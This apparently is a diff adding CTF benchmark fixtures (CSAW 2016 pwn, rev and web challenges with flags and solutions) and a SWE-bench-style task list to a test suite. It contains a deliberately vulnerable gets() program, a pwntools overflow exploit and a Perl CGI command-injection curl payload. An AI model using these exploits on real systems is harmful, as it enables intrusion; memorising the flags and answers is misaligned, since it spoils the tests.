/dev/null +++ b/tests/test_data/data_sources/ctf/pwn/warmup/README.md @@ -0,0 +1,14 @@ +## Name +WarmUp + +## Description +So you want to be a pwn-er huh? Well let's throw you an easy one ;) + +## Points +50 + +## Solution +See [warmup.py]() + +## Flag +`FLAG{LET_US_BEGIN_CSAW_2016}` diff --git a/tests/test_data/data_sources/ctf/pwn/warmup/challenge.json b/tests/test_data/data_sources/ctf/pwn/warmup/challenge.json new file mode 100755 index 0000000..20e5544 --- /dev/null +++ b/tests/test_data/data_sources/ctf/pwn/warmup/challenge.json @@ -0,0 +1,14 @@ +{ + "name": "WarmUp", + "category": "pwn", + "description": "So you want to be a pwn-er huh? Well let's throw you an easy one ;)", + "flag": "FLAG{LET_US_BEGIN_CSAW_2016}", + "points": 50, + "box": "pwn.chal.csaw.io", + "compose": true, + "internal_port": 8000, + "files": [ + "warmup", + "warmup.c" + ] +} \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/pwn/warmup/docker-compose.yml b/tests/test_data/data_sources/ctf/pwn/warmup/docker-compose.yml new file mode 100755 index 0000000..9d8772e --- /dev/null +++ b/tests/test_data/data_sources/ctf/pwn/warmup/docker-compose.yml @@ -0,0 +1,14 @@ +version: '3' +services: + server: + image: llmctf/2016q-pwn-warmup + ports: + - 8000:8000 + networks: + ctfnet: + aliases: + - pwn.chal.csaw.io + +networks: + ctfnet: + external: true \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/pwn/warmup/flag.txt b/tests/test_data/data_sources/ctf/pwn/warmup/flag.txt new file mode 100755 index 0000000..b27a974 --- /dev/null +++ b/tests/test_data/data_sources/ctf/pwn/warmup/flag.txt @@ -0,0 +1 @@ +FLAG{LET_US_BEGIN_CSAW_2016} diff --git a/tests/test_data/data_sources/ctf/pwn/warmup/warmup b/tests/test_data/data_sources/ctf/pwn/warmup/warmup new file mode 100755 index 0000000..8b5292a Binary files /dev/null and b/tests/test_data/data_sources/ctf/pwn/warmup/warmup differ diff --git a/tests/test_data/data_sources/ctf/pwn/warmup/warmup.c b/tests/test_data/data_sources/ctf/pwn/warmup/warmup.c new file mode 100755 index 0000000..fce0d87 --- /dev/null +++ b/tests/test_data/data_sources/ctf/pwn/warmup/warmup.c @@ -0,0 +1,26 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +void easy(){ + + system("cat flag.txt"); + +} + +int main(){ + char buffer[50]; + write(1,"-Warm Up-\n",10); + char address[50]; + write(1,"WOW:",4); + sprintf(address,"%p\n",easy); + write(1,address,9); + write(1,">",1); + gets(buffer); + + +} diff --git a/tests/test_data/data_sources/ctf/pwn/warmup/warmup.py b/tests/test_data/data_sources/ctf/pwn/warmup/warmup.py new file mode 100755 index 0000000..0cab68d --- /dev/null +++ b/tests/test_data/data_sources/ctf/pwn/warmup/warmup.py @@ -0,0 +1,9 @@ +from pwn import * + +context.log_level=True + +r = remote("localhost",4444) +flag = p64(int(r.recvuntil(">").split(":")[1].strip("\n>"),16)) +r.sendline("A"*72+flag) +print r.recvline() + diff --git a/tests/test_data/data_sources/ctf/rev/rock/README.md b/tests/test_data/data_sources/ctf/rev/rock/README.md new file mode 100755 index 0000000..b656fa1 --- /dev/null +++ b/tests/test_data/data_sources/ctf/rev/rock/README.md @@ -0,0 +1,14 @@ +## Name +Rock + +## Description +Never forget the people's champ. + +## Points +100 + +## Solution +See [solution.cpp]() + +## Flag +`FLAG{IoDJuvwxy\tuvyxwxvwzx{\z{vwxyz}` diff --git a/tests/test_data/data_sources/ctf/rev/rock/challenge.json b/tests/test_data/data_sources/ctf/rev/rock/challenge.json new file mode 100755 index 0000000..2424160 --- /dev/null +++ b/tests/test_data/data_sources/ctf/rev/rock/challenge.json @@ -0,0 +1,8 @@ +{ + "name": "Rock", + "category": "rev", + "description": "Never forget the people's champ.", + "flag": "flag{IoDJuvwxy\\tuvyxwxvwzx{\\z{vwxyz}", + "points": 100, + "files": ["rock"] +} diff --git a/tests/test_data/data_sources/ctf/rev/rock/rock b/tests/test_data/data_sources/ctf/rev/rock/rock new file mode 100755 index 0000000..ece791c Binary files /dev/null and b/tests/test_data/data_sources/ctf/rev/rock/rock differ diff --git a/tests/test_data/data_sources/ctf/rev/rock/rock.cpp b/tests/test_data/data_sources/ctf/rev/rock/rock.cpp new file mode 100755 index 0000000..ec0050e --- /dev/null +++ b/tests/test_data/data_sources/ctf/rev/rock/rock.cpp @@ -0,0 +1,167 @@ +#include +#include +#include +#include + +using namespace std; + +class DarkTemplar{ + +public: + virtual int getSerial() = 0; + + + +}; + + +class HighTemplar: public DarkTemplar{ +public: + HighTemplar(const string& solution) : solution(solution),rock_flag(solution){} + + void calculate(){ + if (solution.length() != 30){ + cout << "Too short or too long" << endl; + exit(-1); + } + + + + for(int i =0;i <= solution.length();i++){ + solution[i] = char((solution[i]^0x50)+(20%25)); + + } + + for(int i =0; i <= solution.length();i++){ + solution[i] = char((solution[i] ^ 0x10)+(265%999)); + } + + } + + int getSerial(){ + for(int i = 0;i< solution.length();i++){ + if (answer[i] == solution[i]){ + cout << "Pass " << i << endl; + }else{ + cout << "You did not pass " << i << endl; + flag = 1; + break; + } + + } + + return flag; + + } + + string getFlag(){ + + return rock_flag; + + } + +private: + int value; + int flag = 0; + string solution; + string rock_flag; + string answer = "FLAG23456912365453475897834567"; + + +}; + +struct Node{ +public: + Node(const char& character) : str(character){} + + char str; + Node* prev; + Node *next; + +}; + + +void func3(string prevent,int i){ + if (prevent[i] != '\0'){ + prevent[i] = char((prevent[i] ^ 0x20)+35); + i += 1; + func3(prevent,i); + }else{ + return; + } + +} + +string func2(string prevent){ + + for(int i = 0;i < prevent.length();i++){ + + prevent[i] = char((prevent[i] ^ 0x50)+(50%25)); + } + + return prevent; + +} + + +string func1(string prevent){ + + Node * root = new Node('R'); + Node * tmp = root; + string payload; + + for(int i = 0; i < prevent.length();i++){ + tmp->next = new Node(prevent[i]); + tmp = tmp->next; + } + + + while(root->next != nullptr){ + root = root->next; + payload += root->str; + + } + + return payload; + +} + +int main(){ + string prevent; + int val = 0; + + cin >> prevent; + + cout << "-------------------------------------------" << endl; + cout << "Quote from people's champ" << endl; + cout << "-------------------------------------------" << endl; + cout << "*My goal was never to be the loudest or the craziest. It was to be the most entertaining." << endl; + cout << "*Wrestling was like stand-up comedy for me." << endl; + cout << "*I like to use the hard times in the past to motivate me today." << endl; + cout << "-------------------------------------------" << endl; + + HighTemplar high(prevent); + cout << "Checking...." << endl; + + func3(func2(func1(prevent)),val); + + high.calculate(); + + if(!(high.getSerial())){ + + + cout << "/////////////////////////////////" << endl; + cout << "Do not be angry. Happy Hacking :)" << endl; + cout << "/////////////////////////////////" << endl; + + cout << "Flag{" << high.getFlag() << "}" << endl; + + + } + + + + + + return 0; +} diff --git a/tests/test_data/data_sources/ctf/rev/rock/solution.cpp b/tests/test_data/data_sources/ctf/rev/rock/solution.cpp new file mode 100755 index 0000000..d2ef27b --- /dev/null +++ b/tests/test_data/data_sources/ctf/rev/rock/solution.cpp @@ -0,0 +1,24 @@ +#include +#include + +using namespace std; + +int main(){ + string solution = "FLAG23456912365453475897834567"; + for(int i =0; i <= solution.length();i++){ + cout << i << " " << solution[i] << " " << ((int) solution[i]); + solution[i] = char(((solution[i]-(265%999))^0x10)); + cout << " " << solution[i] << " " << ((int) solution[i]) << endl; + } + + for(int j =0; j <= solution.length();j++){ + cout << j << " " << solution[j] << " " << ((int) solution[j]); + solution[j] = char((solution[j] - 20)^0x50); + cout << " " << solution[j] << " " << ((int) solution[j]) << endl; + } + + cout << "FLAG:" << solution << endl; + + + +} diff --git a/tests/test_data/data_sources/ctf/rev/rock/test_solver/solution.py b/tests/test_data/data_sources/ctf/rev/rock/test_solver/solution.py new file mode 100755 index 0000000..017a4c2 --- /dev/null +++ b/tests/test_data/data_sources/ctf/rev/rock/test_solver/solution.py @@ -0,0 +1,6 @@ +solution = bytearray(b"FLAG23456912365453475897834567") +for i in range(len(solution)): + solution[i] = ((solution[i]-265)^0x10) & 0xFF + solution[i] = ((solution[i]-20)^0x50) & 0xFF +solution = solution.decode("utf-8") +print(f"flag{{{solution}}}") diff --git a/tests/test_data/data_sources/ctf/rev/rock/test_solver/test.sh b/tests/test_data/data_sources/ctf/rev/rock/test_solver/test.sh new file mode 100755 index 0000000..d12924e --- /dev/null +++ b/tests/test_data/data_sources/ctf/rev/rock/test_solver/test.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash + +# Ensure the script fails if any of the commands fail +set -euo pipefail + +# Change the working directory to the directory of the script +cd "$(dirname "$0")" + +# Run the solver (your code here) +python solution.py diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/000-default.conf b/tests/test_data/data_sources/ctf/web/i_got_id_demo/000-default.conf new file mode 100755 index 0000000..a63f92c --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/000-default.conf @@ -0,0 +1,18 @@ + + ServerName localhost + + DocumentRoot /var/www/html + + ErrorLog ${APACHE_LOG_DIR}/error.log + CustomLog ${APACHE_LOG_DIR}/access.log combined + + ScriptAlias /cgi-bin/ /var/www/cgi-bin/ + TimeOut 5 + + + Options ExecCGI + AddHandler cgi-script .cgi .pl + + + +# vim: syntax=apache ts=4 sw=4 sts=4 sr noet diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/Dockerfile b/tests/test_data/data_sources/ctf/web/i_got_id_demo/Dockerfile new file mode 100755 index 0000000..5e81400 --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/Dockerfile @@ -0,0 +1,20 @@ +FROM ubuntu:16.04 + +RUN apt-get update && apt-get upgrade -y +RUN apt-get install -y apache2 libapache2-mod-perl2 build-essential +RUN cpan install CGI +RUN a2enmod cgi + +RUN echo "Listen 8000" >> /etc/apache2/ports.conf +COPY ./000-default.conf /etc/apache2/sites-available/ +COPY ./index.html /var/www/html + +COPY ./cgi /var/www/cgi-bin +RUN chmod +x /var/www/cgi-bin/* + +COPY ./flag / + +RUN service apache2 stop + +EXPOSE 8000 +CMD ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"] diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/file.pl b/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/file.pl new file mode 100755 index 0000000..7e88eda --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/file.pl @@ -0,0 +1,38 @@ +#!/usr/bin/perl + +use strict; +use warnings; +use CGI; + +my $cgi = CGI->new; + +print $cgi->header; + +print << "EndOfHTML"; + + + + Perl File Upload + + + +

    Perl File Upload

    +
    + File: + +
    +
    +EndOfHTML + +if ($cgi->upload('file')) { + my $file = $cgi->param('file'); + while (<$file>) { + print "$_"; + print "
    "; + } +} + +print ''; diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/forms.pl b/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/forms.pl new file mode 100755 index 0000000..fe17a79 --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/forms.pl @@ -0,0 +1,40 @@ +#!/usr/bin/env perl + +use strict; +use warnings; + +use CGI; + +my $cgi = CGI->new; + +print $cgi->header('text/html'); + +print << "EndOfHTML"; + + + + A Simple CGI Page + + + +

    A Simple CGI Page

    +
    + Name:
    + Age:

    + +

    +
    +EndOfHTML + +if ( my $name = $cgi->param('name') ) { + print "Your name is $name.
    "; +} + +if ( my $age = $cgi->param('age') ) { + print "You are $age years old."; +} + +print ''; diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/hello.pl b/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/hello.pl new file mode 100755 index 0000000..ba38af1 --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/cgi/hello.pl @@ -0,0 +1,11 @@ +#!/usr/bin/perl + +use strict; +use warnings; +use CGI; + +my $cgi = CGI->new; + +print $cgi->header; + +print "Hello World from Perl!"; diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/challenge.json b/tests/test_data/data_sources/ctf/web/i_got_id_demo/challenge.json new file mode 100755 index 0000000..68ccdda --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/challenge.json @@ -0,0 +1,12 @@ +{ + "name": "I Got Id", + "category": "web", + "description": "Wtf... I literally just setup this website and it's already popped...", + "box": "web.chal.csaw.io", + "files":[ + + ], + "internal_port": 8000, + "compose": true, + "flag": "FLAG{p3rl_6_iz_EVEN_BETTER!!1}" +} \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/docker-compose.yml b/tests/test_data/data_sources/ctf/web/i_got_id_demo/docker-compose.yml new file mode 100755 index 0000000..6392a96 --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/docker-compose.yml @@ -0,0 +1,14 @@ +version: '3' +services: + server: + image: llmctf/2016q-web-igotid + ports: + - 8000:8000 + networks: + ctfnet: + aliases: + - web.chal.csaw.io + +networks: + ctfnet: + external: true \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/flag b/tests/test_data/data_sources/ctf/web/i_got_id_demo/flag new file mode 100755 index 0000000..6a1d30c --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/flag @@ -0,0 +1 @@ +FLAG{p3rl_6_iz_EVEN_BETTER!!1} diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/index.html b/tests/test_data/data_sources/ctf/web/i_got_id_demo/index.html new file mode 100755 index 0000000..2eec388 --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/index.html @@ -0,0 +1,11 @@ + + + Perl Examples + + +
      +
    • Hello World
      • +
    • Forms
      • +
    • Files
      • + + diff --git a/tests/test_data/data_sources/ctf/web/i_got_id_demo/solution.txt b/tests/test_data/data_sources/ctf/web/i_got_id_demo/solution.txt new file mode 100755 index 0000000..cc022a3 --- /dev/null +++ b/tests/test_data/data_sources/ctf/web/i_got_id_demo/solution.txt @@ -0,0 +1 @@ +echo "asdf" | curl -F "file=ARGV" -F "file=@-" "http://localhost:8081/cgi-bin/file.pl?cat%20%2fflag%20|" diff --git a/tests/test_data/data_sources/debug_20240322.json b/tests/test_data/data_sources/debug_20240322.json new file mode 100644 index 0000000..5d1b605 --- /dev/null +++ b/tests/test_data/data_sources/debug_20240322.json @@ -0,0 +1 @@ +[{"repo": "scikit-learn/scikit-learn", "instance_id": "scikit-learn__scikit-learn-11574", "base_commit": "dd69361a0d9c6ccde0d2353b00b86e0e7541a3e3", "patch": "diff --git a/sklearn/ensemble/iforest.py b/sklearn/ensemble/iforest.py\n--- a/sklearn/ensemble/iforest.py\n+++ b/sklearn/ensemble/iforest.py\n@@ -70,6 +70,10 @@ class IsolationForest(BaseBagging, OutlierMixin):\n on the decision function. If 'auto', the decision function threshold is\n determined as in the original paper.\n \n+ .. versionchanged:: 0.20\n+ The default value of ``contamination`` will change from 0.1 in 0.20\n+ to ``'auto'`` in 0.22.\n+\n max_features : int or float, optional (default=1.0)\n The number of features to draw from X to train each base estimator.\n \n@@ -150,12 +154,6 @@ def __init__(self,\n n_jobs=n_jobs,\n random_state=random_state,\n verbose=verbose)\n-\n- if contamination == \"legacy\":\n- warnings.warn('default contamination parameter 0.1 will change '\n- 'in version 0.22 to \"auto\". This will change the '\n- 'predict method behavior.',\n- DeprecationWarning)\n self.contamination = contamination\n \n def _set_oob_score(self, X, y):\n@@ -178,6 +176,15 @@ def fit(self, X, y=None, sample_weight=None):\n -------\n self : object\n \"\"\"\n+ if self.contamination == \"legacy\":\n+ warnings.warn('default contamination parameter 0.1 will change '\n+ 'in version 0.22 to \"auto\". This will change the '\n+ 'predict method behavior.',\n+ FutureWarning)\n+ self._contamination = 0.1\n+ else:\n+ self._contamination = self.contamination\n+\n X = check_array(X, accept_sparse=['csc'])\n if issparse(X):\n # Pre-sort indices to avoid that each individual tree of the\n@@ -219,19 +226,16 @@ def fit(self, X, y=None, sample_weight=None):\n max_depth=max_depth,\n sample_weight=sample_weight)\n \n- if self.contamination == \"auto\":\n+ if self._contamination == \"auto\":\n # 0.5 plays a special role as described in the original paper.\n # we take the opposite as we consider the opposite of their score.\n self.offset_ = -0.5\n # need to save (depreciated) threshold_ in this case:\n self._threshold_ = sp.stats.scoreatpercentile(\n self.score_samples(X), 100. * 0.1)\n- elif self.contamination == \"legacy\": # to be rm in 0.22\n- self.offset_ = sp.stats.scoreatpercentile(\n- self.score_samples(X), 100. * 0.1)\n else:\n self.offset_ = sp.stats.scoreatpercentile(\n- self.score_samples(X), 100. * self.contamination)\n+ self.score_samples(X), 100. * self._contamination)\n \n return self\n \n", "test_patch": "diff --git a/sklearn/ensemble/tests/test_iforest.py b/sklearn/ensemble/tests/test_iforest.py\n--- a/sklearn/ensemble/tests/test_iforest.py\n+++ b/sklearn/ensemble/tests/test_iforest.py\n@@ -62,6 +62,7 @@ def test_iforest():\n **params).fit(X_train).predict(X_test)\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_iforest_sparse():\n \"\"\"Check IForest for various parameter settings on sparse input.\"\"\"\n rng = check_random_state(0)\n@@ -89,6 +90,7 @@ def test_iforest_sparse():\n assert_array_equal(sparse_results, dense_results)\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_iforest_error():\n \"\"\"Test that it gives proper exception on deficient input.\"\"\"\n X = iris.data\n@@ -127,6 +129,7 @@ def test_iforest_error():\n assert_raises(ValueError, IsolationForest().fit(X).predict, X[:, 1:])\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_recalculate_max_depth():\n \"\"\"Check max_depth recalculation when max_samples is reset to n_samples\"\"\"\n X = iris.data\n@@ -135,6 +138,7 @@ def test_recalculate_max_depth():\n assert_equal(est.max_depth, int(np.ceil(np.log2(X.shape[0]))))\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_max_samples_attribute():\n X = iris.data\n clf = IsolationForest().fit(X)\n@@ -150,6 +154,7 @@ def test_max_samples_attribute():\n assert_equal(clf.max_samples_, 0.4*X.shape[0])\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_iforest_parallel_regression():\n \"\"\"Check parallel regression.\"\"\"\n rng = check_random_state(0)\n@@ -174,6 +179,7 @@ def test_iforest_parallel_regression():\n assert_array_almost_equal(y1, y3)\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_iforest_performance():\n \"\"\"Test Isolation Forest performs well\"\"\"\n \n@@ -213,6 +219,7 @@ def test_iforest_works():\n assert_array_equal(pred, 6 * [1] + 2 * [-1])\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_max_samples_consistency():\n # Make sure validated max_samples in iforest and BaseBagging are identical\n X = iris.data\n@@ -220,6 +227,7 @@ def test_max_samples_consistency():\n assert_equal(clf.max_samples_, clf._max_samples)\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_iforest_subsampled_features():\n # It tests non-regression for #5732 which failed at predict.\n rng = check_random_state(0)\n@@ -244,6 +252,7 @@ def test_iforest_average_path_length():\n [1., result_one, result_two], decimal=10)\n \n \n+@pytest.mark.filterwarnings('ignore:default contamination')\n def test_score_samples():\n X_train = [[1, 1], [1, 2], [2, 1]]\n clf1 = IsolationForest(contamination=0.1).fit(X_train)\n@@ -257,12 +266,15 @@ def test_score_samples():\n \n \n def test_deprecation():\n- assert_warns_message(DeprecationWarning,\n+ X = [[0.0], [1.0]]\n+ clf = IsolationForest()\n+\n+ assert_warns_message(FutureWarning,\n 'default contamination parameter 0.1 will change '\n 'in version 0.22 to \"auto\"',\n- IsolationForest, )\n- X = [[0.0], [1.0]]\n- clf = IsolationForest().fit(X)\n+ clf.fit, X)\n+\n+ clf = IsolationForest(contamination='auto').fit(X)\n assert_warns_message(DeprecationWarning,\n \"threshold_ attribute is deprecated in 0.20 and will\"\n \" be removed in 0.22.\",\ndiff --git a/sklearn/linear_model/tests/test_sag.py b/sklearn/linear_model/tests/test_sag.py\n--- a/sklearn/linear_model/tests/test_sag.py\n+++ b/sklearn/linear_model/tests/test_sag.py\n@@ -17,6 +17,7 @@\n from sklearn.utils.extmath import row_norms\n from sklearn.utils.testing import assert_almost_equal\n from sklearn.utils.testing import assert_array_almost_equal\n+from sklearn.utils.testing import assert_allclose\n from sklearn.utils.testing import assert_greater\n from sklearn.utils.testing import assert_raise_message\n from sklearn.utils.testing import ignore_warnings\n@@ -269,7 +270,6 @@ def test_classifier_matching():\n assert_array_almost_equal(intercept2, clf.intercept_, decimal=9)\n \n \n-@ignore_warnings\n def test_regressor_matching():\n n_samples = 10\n n_features = 5\n@@ -295,10 +295,10 @@ def test_regressor_matching():\n dloss=squared_dloss,\n fit_intercept=fit_intercept)\n \n- assert_array_almost_equal(weights1, clf.coef_, decimal=10)\n- assert_array_almost_equal(intercept1, clf.intercept_, decimal=10)\n- assert_array_almost_equal(weights2, clf.coef_, decimal=10)\n- assert_array_almost_equal(intercept2, clf.intercept_, decimal=10)\n+ assert_allclose(weights1, clf.coef_)\n+ assert_allclose(intercept1, clf.intercept_)\n+ assert_allclose(weights2, clf.coef_)\n+ assert_allclose(intercept2, clf.intercept_)\n \n \n @ignore_warnings\n", "problem_statement": "IsolationForest contamination deprecation in __init__ not in fit\nneed to move the deprecation and fix the tests.\n", "hints_text": "", "created_at": "2018-07-16T22:39:16Z", "version": "0.20", "FAIL_TO_PASS": ["sklearn/ensemble/tests/test_iforest.py::test_deprecation"], "PASS_TO_PASS": ["sklearn/ensemble/tests/test_iforest.py::test_iforest", "sklearn/ensemble/tests/test_iforest.py::test_iforest_sparse", "sklearn/ensemble/tests/test_iforest.py::test_iforest_error", "sklearn/ensemble/tests/test_iforest.py::test_recalculate_max_depth", "sklearn/ensemble/tests/test_iforest.py::test_max_samples_attribute", "sklearn/ensemble/tests/test_iforest.py::test_iforest_parallel_regression", "sklearn/ensemble/tests/test_iforest.py::test_iforest_performance", "sklearn/ensemble/tests/test_iforest.py::test_iforest_works", "sklearn/ensemble/tests/test_iforest.py::test_max_samples_consistency", "sklearn/ensemble/tests/test_iforest.py::test_iforest_subsampled_features", "sklearn/ensemble/tests/test_iforest.py::test_iforest_average_path_length", "sklearn/ensemble/tests/test_iforest.py::test_score_samples", "sklearn/linear_model/tests/test_sag.py::test_classifier_matching", "sklearn/linear_model/tests/test_sag.py::test_regressor_matching", "sklearn/linear_model/tests/test_sag.py::test_sag_pobj_matches_logistic_regression", "sklearn/linear_model/tests/test_sag.py::test_sag_pobj_matches_ridge_regression", "sklearn/linear_model/tests/test_sag.py::test_sag_regressor_computed_correctly", "sklearn/linear_model/tests/test_sag.py::test_get_auto_step_size", "sklearn/linear_model/tests/test_sag.py::test_sag_regressor", "sklearn/linear_model/tests/test_sag.py::test_sag_classifier_computed_correctly", "sklearn/linear_model/tests/test_sag.py::test_sag_multiclass_computed_correctly", "sklearn/linear_model/tests/test_sag.py::test_classifier_results", "sklearn/linear_model/tests/test_sag.py::test_binary_classifier_class_weight", "sklearn/linear_model/tests/test_sag.py::test_multiclass_classifier_class_weight", "sklearn/linear_model/tests/test_sag.py::test_classifier_single_class", "sklearn/linear_model/tests/test_sag.py::test_step_size_alpha_error", "sklearn/linear_model/tests/test_sag.py::test_multinomial_loss", "sklearn/linear_model/tests/test_sag.py::test_multinomial_loss_ground_truth"], "environment_setup_commit": "55bf5d93e5674f13a1134d93a11fd0cd11aabcd1"}, {"repo": "django/django", "instance_id": "django__django-15136", "base_commit": "ed2018037d152eef7e68f339b4562f8aadc2b7a0", "patch": "diff --git a/django/contrib/admin/widgets.py b/django/contrib/admin/widgets.py\n--- a/django/contrib/admin/widgets.py\n+++ b/django/contrib/admin/widgets.py\n@@ -8,7 +8,7 @@\n from django.conf import settings\n from django.core.exceptions import ValidationError\n from django.core.validators import URLValidator\n-from django.db.models import CASCADE\n+from django.db.models import CASCADE, UUIDField\n from django.urls import reverse\n from django.urls.exceptions import NoReverseMatch\n from django.utils.html import smart_urlquote\n@@ -149,7 +149,10 @@ def get_context(self, name, value, attrs):\n context['related_url'] = related_url\n context['link_title'] = _('Lookup')\n # The JavaScript code looks for this class.\n- context['widget']['attrs'].setdefault('class', 'vForeignKeyRawIdAdminField')\n+ css_class = 'vForeignKeyRawIdAdminField'\n+ if isinstance(self.rel.get_related_field(), UUIDField):\n+ css_class += ' vUUIDField'\n+ context['widget']['attrs'].setdefault('class', css_class)\n else:\n context['related_url'] = None\n if context['widget']['value']:\n", "test_patch": "diff --git a/tests/admin_widgets/tests.py b/tests/admin_widgets/tests.py\n--- a/tests/admin_widgets/tests.py\n+++ b/tests/admin_widgets/tests.py\n@@ -26,7 +26,7 @@\n \n from .models import (\n Advisor, Album, Band, Bee, Car, Company, Event, Honeycomb, Individual,\n- Inventory, Member, MyFileField, Profile, School, Student,\n+ Inventory, Member, MyFileField, Profile, ReleaseEvent, School, Student,\n UnsafeLimitChoicesTo, VideoStream,\n )\n from .widgetadmin import site as widget_admin_site\n@@ -538,19 +538,27 @@ def test_render(self):\n band.album_set.create(\n name='Hybrid Theory', cover_art=r'albums\\hybrid_theory.jpg'\n )\n- rel = Album._meta.get_field('band').remote_field\n-\n- w = widgets.ForeignKeyRawIdWidget(rel, widget_admin_site)\n+ rel_uuid = Album._meta.get_field('band').remote_field\n+ w = widgets.ForeignKeyRawIdWidget(rel_uuid, widget_admin_site)\n self.assertHTMLEqual(\n w.render('test', band.uuid, attrs={}),\n ''\n+ 'class=\"vForeignKeyRawIdAdminField vUUIDField\">'\n ' '\n 'Linkin Park'\n '' % {'banduuid': band.uuid, 'bandpk': band.pk}\n )\n \n+ rel_id = ReleaseEvent._meta.get_field('album').remote_field\n+ w = widgets.ForeignKeyRawIdWidget(rel_id, widget_admin_site)\n+ self.assertHTMLEqual(\n+ w.render('test', None, attrs={}),\n+ ''\n+ '',\n+ )\n+\n def test_relations_to_non_primary_key(self):\n # ForeignKeyRawIdWidget works with fields which aren't related to\n # the model's primary key.\n", "problem_statement": "Admin foreign key raw inputs are too small when referring to a UUID field\nDescription\n\t\nPR: \u200bhttps://github.com/django/django/pull/12926\n", "hints_text": "", "created_at": "2021-11-28T06:59:22Z", "version": "4.1", "FAIL_TO_PASS": ["test_render (admin_widgets.tests.ForeignKeyRawIdWidgetTest)"], "PASS_TO_PASS": ["test_CharField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_DateField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_DateTimeField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_EmailField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_FileField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_ForeignKey (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_IntegerField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_TextField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_TimeField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_URLField (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_choices_with_radio_fields (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_field_with_choices (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_filtered_many_to_many (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_formfield_overrides (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "formfield_overrides works for a custom field class.", "Overriding the widget for DateTimeField doesn't overrides the default", "The autocomplete_fields, raw_id_fields, filter_vertical, and", "Widget instances in formfield_overrides are not shared between", "test_inheritance (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "m2m fields help text as it applies to admin app (#9321).", "test_many_to_many (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_radio_fields_ForeignKey (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_raw_id_ForeignKey (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_raw_id_many_to_many (admin_widgets.tests.AdminFormfieldForDBFieldTests)", "test_attrs (admin_widgets.tests.AdminTimeWidgetTest)", "test_attrs (admin_widgets.tests.AdminUUIDWidgetTests)", "test_attrs (admin_widgets.tests.AdminDateWidgetTest)", "test_render (admin_widgets.tests.FilteredSelectMultipleWidgetTest)", "test_stacked_render (admin_widgets.tests.FilteredSelectMultipleWidgetTest)", "test_localization (admin_widgets.tests.AdminSplitDateTimeWidgetTest)", "test_render (admin_widgets.tests.AdminSplitDateTimeWidgetTest)", "test_get_context_validates_url (admin_widgets.tests.AdminURLWidgetTest)", "test_render (admin_widgets.tests.AdminURLWidgetTest)", "test_render_idn (admin_widgets.tests.AdminURLWidgetTest)", "WARNING: This test doesn't use assertHTMLEqual since it will get rid", "test_custom_widget_render (admin_widgets.tests.RelatedFieldWidgetWrapperTests)", "test_no_can_add_related (admin_widgets.tests.RelatedFieldWidgetWrapperTests)", "test_on_delete_cascade_rel_cant_delete_related (admin_widgets.tests.RelatedFieldWidgetWrapperTests)", "test_select_multiple_widget_cant_change_delete_related (admin_widgets.tests.RelatedFieldWidgetWrapperTests)", "test_widget_delegates_value_omitted_from_data (admin_widgets.tests.RelatedFieldWidgetWrapperTests)", "test_widget_is_hidden (admin_widgets.tests.RelatedFieldWidgetWrapperTests)", "test_widget_is_not_hidden (admin_widgets.tests.RelatedFieldWidgetWrapperTests)", "test_fk_related_model_not_in_admin (admin_widgets.tests.ForeignKeyRawIdWidgetTest)", "test_fk_to_self_model_not_in_admin (admin_widgets.tests.ForeignKeyRawIdWidgetTest)", "test_proper_manager_for_label_lookup (admin_widgets.tests.ForeignKeyRawIdWidgetTest)", "test_relations_to_non_primary_key 